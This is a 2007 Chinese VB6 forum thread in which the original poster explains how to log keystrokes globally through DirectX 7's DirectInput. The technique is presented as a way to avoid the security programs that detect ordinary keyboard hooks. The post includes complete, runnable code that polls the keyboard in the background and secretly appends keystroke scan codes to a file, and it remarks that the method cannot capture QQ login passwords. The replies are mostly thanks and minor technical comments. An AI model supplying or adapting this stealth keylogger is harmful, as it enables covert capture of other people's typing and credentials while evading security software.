在VB中使用DirectX组件进行键盘的全局HOOK

hd378 2007-12-04 10:03:01
加精
在VB中使用DirectX组件进行键盘的全局HOOK
“咦,DX不是用来开发游戏的吗,跟HOOK有什么关系?”
“对吖,正是因为这样,才意想不到嘛^_^”
用SetWindowsHookEx这个API函数来设置WH_KEYBOARD_LL的HOOK固然是拦截键盘输入的好办法,但是现在的各种安全程序都很强大咯,它们对全局HOOK都会有所反应了,所以在VB中通过设置WH_KEYBOARD_LL来HOOK键盘有时候也不怎么好用了。这个时候,DirectX是另一个好朋友。DirectX提供了强大的多媒体编程接口,当然啦,主要是用来开发3D游戏,但是也可以做别的用途嘛。DirectInput是DirectX的组成部分之一,就是我们今天要用到的东西。大家都知道3D游戏一般对性能要求比较高,所以对输入设备也要求有比较高的实时性(试想一下一款激烈的赛车游戏,如果仅靠windows的消息机制来读取键盘的话,恐怕很难满足玩家对于高操控性和高灵敏度的要求)。因此DX的DirectInput提供了在底层对硬件做比较直接的访问的功能。也正是因为DirectInput比消息机制更接近硬件层,所以对于有特殊要求的环境,用它作键盘鼠标HOOK真是再合适不过了。DirectInput不但可以访问键盘鼠标,还支持游戏杆之类的,当然,现在我们主要用到的是键盘,其它的就不介绍了。
DX有不同的版本,VB提供了对DX7和DX8的支持,更高版本的就不支持了-_-\。不过没关系,因为DX是向下兼容的,所以,如果你安装的是DX10的话,DX7和8也是可以用的。这里我们就介绍在DX7中访问键盘的方法。VB要使用DX库,必须先在工程中引用这个库,很简单:单击菜单栏的“工程”--引用--在“引用”对话框中找到“DirectX 7 For Visual Basic Type Library”,把前面的钩打上,然后确定,就可以了。然后就可以使用DX库创建DX对象。首先,建立一个DX7主对象,像这样:Dim DX As New DirectX7,然后,使用DX对象的DirectInputCreate方法可以创建一个DirectInput对象:Set DI = DX.DirectInputCreate(),再然后,用DirectInput对象的CreateDevice方法就可以创建一个键盘或鼠标对象了(根据参数决定)。比如创建键盘对象就这样:Set DI_Keyboard = DI.CreateDevice("GUID_SysKeyboard")。有了键盘对象DI_Keyboard,就可以用它来访问键盘输入了。
在WH_KEYBOARD_LL这个键盘HOOK中,键盘的拦截是通过回调函数实现的,当有个键被按下时,操作系统会自动调用我们注册的回调函数,并传给我们被按下按键的代码,所以很方便。但是DirectInput不太一样,因为它工作在更接近硬件的层次,所以并不提供消息HOOK回调那样的高级功能(其实DirectInput的高级功能中还是提供了类似于windows那样的消息事件机制的,不过今天我们并不讨论它,所以忽略吧^_^)。DirectInput可以通过轮询的方式访问键盘,这就好比HOOK回调就是键盘有个动作,系统主动告诉我们,而DirectInput就是系统不主动告诉我们,而是我们自己不断的去问键盘:有没有被按下?有没有被按下?明白了这个就好办了,我们只需要做一个无限循环,在循环中用DirectInput不断检测键盘状态,就可以知道哪个键被按下了。另外,DirectInput返回的是键盘的扫描码,而我们一般用到的是键盘虚拟码,我们可以把DirectInput返回的键盘扫描码转换为虚拟码,就可以知道哪个键被按下了,关于键盘扫描码与键盘虚拟码的转换方法和详细说明,可以参考这个帖子上面的一段说明:http://topic.csdn.net/t/20061224/14/5252514.html
顺便说一下,WINIO也可以用来轮询键盘的,跟DirectInput差不多啦。
下面给出一个示例代码,这个程序会记录你的键盘操作,然后保存到d:\mykey.txt这个文件中,保存的是扫描码,大家也可以转换一下。
先打开VB6,新建一个工程,然后引用DX开发库(“工程”--引用--在“引用”对话框中找到“DirectX 7 For Visual Basic Type Library”,把前面的钩打上,然后确定),然后再在窗体中加入一个Timer控件,把下面的代码添加到窗体中,就可以了。

Dim DX As DirectX7
Dim DI As DirectInput
Dim DI_Keyboard As DirectInputDevice
Dim key_state As DIKEYBOARDSTATE '存储键盘状态的结构变量
Dim key_num As Integer '保存键盘扫描码

Private Sub Form_Load()
Set DX = New DirectX7 '建立DirectX对象
Set DI = DX.DirectInputCreate() '建立DirectInput对象
Set DI_Keyboard = DI.CreateDevice("GUID_SysKeyboard") '建立DirectInput的键盘对象

DI_Keyboard.SetCommonDataFormat DIFORMAT_KEYBOARD '设置数据格式
DI_Keyboard.SetCooperativeLevel Me.hWnd, DISCL_BACKGROUND Or DISCL_NONEXCLUSIVE '设置协作模式(就是DX设备要与某个窗口关联)。DISCL_BACKGROUND这个是最重要的,它让程序即使在后台运行也能监视键盘输入,不然怎么做HOOK呢^_^

DI_Keyboard.Acquire '开始

Timer1.Interval = 10 '设置键盘的轮询时间
Timer1.Enabled = True
End Sub
Private Sub Form_Unload(Cancel As Integer)
DI_Keyboard.Unacquire '释放DirectInput对象
End Sub
Private Sub Timer1_Timer()
Dim key_count As Integer, keydown As Boolean
keydown = False
DI_Keyboard.GetDeviceStateKeyboard key_state '轮询键盘,并把键盘输入保存到key_state结构中
For key_count = 0 To 255
If key_state.Key(key_count) <> 0 Then '判断是否有键被按下,key_count代表的是被按下的键的扫描码,最好转换成键盘虚拟码,再转换成实际的键,这里就不转换了^_^
keydown = True
key_num = key_count
End If
Next

' 将记录写入文件
' 注意由于是轮询的方式,得到的按键状态是连续的,所以小处理一下可以得到单个的按键
If (Not keydown) And key_num <> 0 Then
Open "d:\mykey.txt" For Append As #1
Print #1, CStr(key_num); " ";
Close #1
key_num = 0
End If
End Sub

好了,基本上就是这样,代码的注释也比较详细,希望对大家有帮助。有什么问题可以联系我,QQ:511795070
顺便再说一下,想用这个方法拦截QQ登陆框的密码是无效的,因为键盘加密保护也是个驱动级的东西^_^
...全文
543 点赞 收藏 20
写回复
20 条回复
切换为时间正序
请发表友善的回复…
发表回复
lengyupiaofei 2012-07-09
楼主写的很详细,解释也很清楚
回复
oshi002 2011-10-15
没有用过不知道是不是真的很强大。
回复
K-dash 2011-04-18
每秒都这样做,如果我的程序本身就比较多工作代码,每秒在做的事就很多,还要这样去监视键盘输入,不就很卡么?很耗CPU么?有点不理智呢...
回复
brambleslx 2010-10-28
太有创意了,真是没有想不到的。学习……
回复
王二.麻子 2010-03-25
留个名字,以后好找
回复
jiangsk540 2010-03-20
些方法。好像不怎么行。
如果输入速度快的话。获取的按键可能会有不全。
我引用的是DX8.
回复
DengXingJie 2007-12-17
先頂再看再學習
回复
hd378 2007-12-16
6楼,已+
回复
果然是你~~~~~~~~

我说这ID咋这么熟呢.......

顶你的!!!
回复
hd378 2007-12-16
10楼是马群主吧
就是我呗
哈哈,又见面咯
问好^_^
回复
dt168 2007-12-16
MARK
回复
HD378...........难道是.........?

我是老马啊~~~
回复
tzwsoho 2007-12-16
很好!很强大!学习了~~~~
回复
vbman2003 2007-12-13
标记一下,学习
回复
likexin 2007-12-13
楼主 能加我Q吗 12397312
回复
zzyong00 2007-12-05
学习了!
回复
hd378 2007-12-05
汗,楼上是做游戏开发的么
回复
东方之珠 2007-12-05
真他妈好东西,我早就想用DX7vb、DX8vb了!
回复
jjfwenwenti 2007-12-05
up
回复
cangwu_lee 2007-12-04
這麼強大!也學習一下。
回复
发动态
发帖子
VB基础类
创建于2007-09-28

7453

社区成员

VB 基础类
申请成为版主
社区公告
暂无公告